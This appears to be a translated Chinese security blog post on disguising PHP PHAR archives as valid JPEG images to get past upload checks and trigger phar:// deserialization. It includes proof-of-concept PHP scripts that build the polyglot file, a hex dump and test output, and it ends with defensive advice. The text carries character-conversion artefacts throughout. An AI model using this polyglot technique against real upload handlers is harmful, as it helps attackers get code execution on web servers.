在美國舉辦的BlackHat 2018大會(huì)上，已經(jīng)有白帽黑客證明可以從PHAR包獲得RCE，而且，通過調(diào)整其二進(jìn)制內(nèi)容，可以將其偽裝成完整的有效圖像，繞過安全檢查。

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背景

在美國舉辦的BlackHat 2018期間，來自英國網(wǎng)絡(luò)安全公司Secarma的研究總監(jiān)Sam Thomas召開了一個(gè)關(guān)于在PHP中利用phar://流包裝器(stream wrapper)在服務(wù)器上執(zhí)行代碼執(zhí)行的會(huì)議。

一個(gè)PHP應(yīng)用程序往往是由多個(gè)文件構(gòu)成的，如果能把他們集中為一個(gè)文件來分發(fā)和運(yùn)行是很方便的，這樣的列子有很多，比如在window操作系統(tǒng)上面的安裝程序、一個(gè)jquery庫等等，為了做到這點(diǎn)PHP采用了PHAR文檔文件格式，這個(gè)概念源自java的jar，但是在設(shè)計(jì)時(shí)主要針對(duì)PHP的Web環(huán)境，與JAR歸檔不同的是PHAR歸檔可由PHP本身處理，因此不需要使用額外的工具來創(chuàng)建或使用，使用PHP腳本就能創(chuàng)建或提取它。PHAR是一個(gè)合成詞，由PHP和Archive構(gòu)成，可以看出它是PHP歸檔文件的意思。

在執(zhí)行PHAR包時(shí)，PHP將反序列化其內(nèi)容，允許攻擊者啟動(dòng)PHP對(duì)象包含鏈。其中最有趣的部分是如何觸發(fā)有效載荷，因?yàn)闅w檔上的任何文件操作都將執(zhí)行它。最后，不需要猜測(cè)正確的文件名，因?yàn)榧词故〉奈募{(diào)用也需要PHP來反序列化內(nèi)容。

另外，完全可以將PHAR包偽裝成100%有效的圖像。

在這篇文章中，我將介紹偽裝的詳細(xì)過程。

降級(jí)至字節(jié)碼級(jí)別

有時(shí)我們會(huì)忘記文件只是遵循預(yù)定義結(jié)構(gòu)的一堆字節(jié)，但應(yīng)用程序?qū)z查它們是否能夠管理這樣的數(shù)據(jù)流，如果能，它們將生成一個(gè)輸出。

在演講中，Thomas給出了一個(gè)關(guān)于如何創(chuàng)建具有有效JPEG標(biāo)頭的PHAR包的提示。

按著提示，我們要做的是創(chuàng)建一個(gè)具有JPEG標(biāo)頭的文件，并相應(yīng)的更新PHAR校驗(yàn)和。通過這種方式，文件將被視為一個(gè)圖像，但PHP還能夠執(zhí)行它。

如果你認(rèn)為更改幾個(gè)字節(jié)并更新校驗(yàn)和就可以輕松完成操作，那你就想得太簡(jiǎn)單了。

計(jì)算校驗(yàn)和(至少對(duì)我來說)是件痛苦的事情，然后我就想，如果我讓PHP為我做這些工作呢?

所以我改編了Thomas在演講中提到的做法，如下所示。

<?phpclass TestObject {} 
 
$phar = new Phar("phar.phar"); 
$phar->startBuffering(); 
$phar->addFromString("test.txt","test"); 
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>"); 
$o = new TestObject(); 
$phar->setMetadata($o); 
$phar->stopBuffering(); 

如你所見，我將原始HEX字節(jié)添加到PHAR歸檔的存根部分。以下就是原HEX結(jié)果：

tampe125@AlphaCentauri:~$ xxd phar.jpeg  
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f  ......xt __HALT_ 
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a  COMPILER(); ?>.. 
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000  L............... 
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374  ......O:10:"Test 
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000  Object":0:{}.... 
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b  test.txt.....~z[ 
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000  .....~.......... 
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea  testo...}?..{.5. 
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42  ....r.&.....GBMB 

它是一個(gè)有效的PHAR和JPEG圖像嗎?

tampe125@AlphaCentauri:~$ file phar.jpeg  
phar.jpeg: JPEG image data 
tampe125@AlphaCentauri:~$ php -a 
php > var_dump(mime_content_type('phar.jpeg')); 
php shell code:1: 
string(10) "image/jpeg"php > var_dump(file_exists('phar://phar.jpeg/test.txt')); 
php shell code:1: 
bool(true) 

PHP將其識(shí)別為圖像，但我仍然可以看到歸檔上的內(nèi)容。

請(qǐng)查看存根部分并注意它是如何缺少開始的PHP標(biāo)記的。這是大多數(shù)內(nèi)容掃描器都無法看到的關(guān)鍵內(nèi)容。要使歸檔有效，惟一需要的是__HALT_COMPILER()函數(shù)，我認(rèn)為這被PHP用來表示它應(yīng)該跳過多少數(shù)據(jù)。

我有一個(gè)文件，它可以通過任何基于文件標(biāo)頭的檢查，然而任何比它更復(fù)雜的檢查都會(huì)失敗。例如，使用getimagesize檢查圖像將返回false，因?yàn)閳D像必定是偽造的。

tampe125@AlphaCentauri:~$ php -a 
php > var_dump(getimagesize('phar.jpeg')); 
php shell code:1: 
bool(false) 

解決圖像是偽造的問題?

但我看到我可以在__HALT_COMPILER()標(biāo)記之前插入我想要的任何亂碼，試想，如果我用它來制作完整的圖像，會(huì)怎么樣呢?

在花了太多時(shí)間來討論JPEG規(guī)范和閱讀PHP源代碼后，我認(rèn)為我可以簡(jiǎn)單的使用GIMP創(chuàng)建10×10黑色圖像并嵌入其中。

<?phpclass TestObject {} 
 
$jpeg_header_size =  
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13"."\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02"."\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15"."\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14"."\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01"."\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03"."\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11"."\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20"."\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda"."\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9"; 
 
$phar = new Phar("phar.phar"); 
$phar->startBuffering(); 
$phar->addFromString("test.txt","test"); 
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); 
$o = new TestObject(); 
$phar->setMetadata($o); 
$phar->stopBuffering(); 

現(xiàn)在，檢查以下我的思考成果。

tampe125@AlphaCentauri:~$ file phar.jpeg  
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3tampe125@AlphaCentauri:~$ php -a 
php > var_dump(mime_content_type('phar.jpeg')); 
php shell code:1:string(10) "image/jpeg"php > var_dump(file_exists('phar://phar.jpeg/test.txt')); 
php shell code:1:bool(true) 
php > var_dump(getimagesize('phar.jpeg')); 
php shell code:1: 
array(7) { 
  [0] =>  int(10) 
  [1] =>  int(10) 
  [2] =>  int(2) 
  [3] =>  string(22) "width="10" height="10"" 
  'bits' =>  int(8)  'channels' =>  int(3)  'mime' =>  string(10) "image/jpeg"} 

果然，我的努力成功了。文件是一個(gè)PHAR包，包含了我想要利用的類，但它仍然是一個(gè)有效的映像(它甚至可以通過系統(tǒng)映像查看器打開)。

總結(jié)

正如大家剛剛看到的那樣，文件只是一堆字節(jié)，如果我所做的唯一檢查是基于它們的元數(shù)據(jù)，那必定會(huì)花太多時(shí)間來討論JPEG規(guī)范和閱讀PHP源代碼。最后，我發(fā)現(xiàn)利用核心函數(shù)來返回我想要的結(jié)果非常容易：唯一的解決方案就是真正讀取文件內(nèi)容并搜索惡意字符串。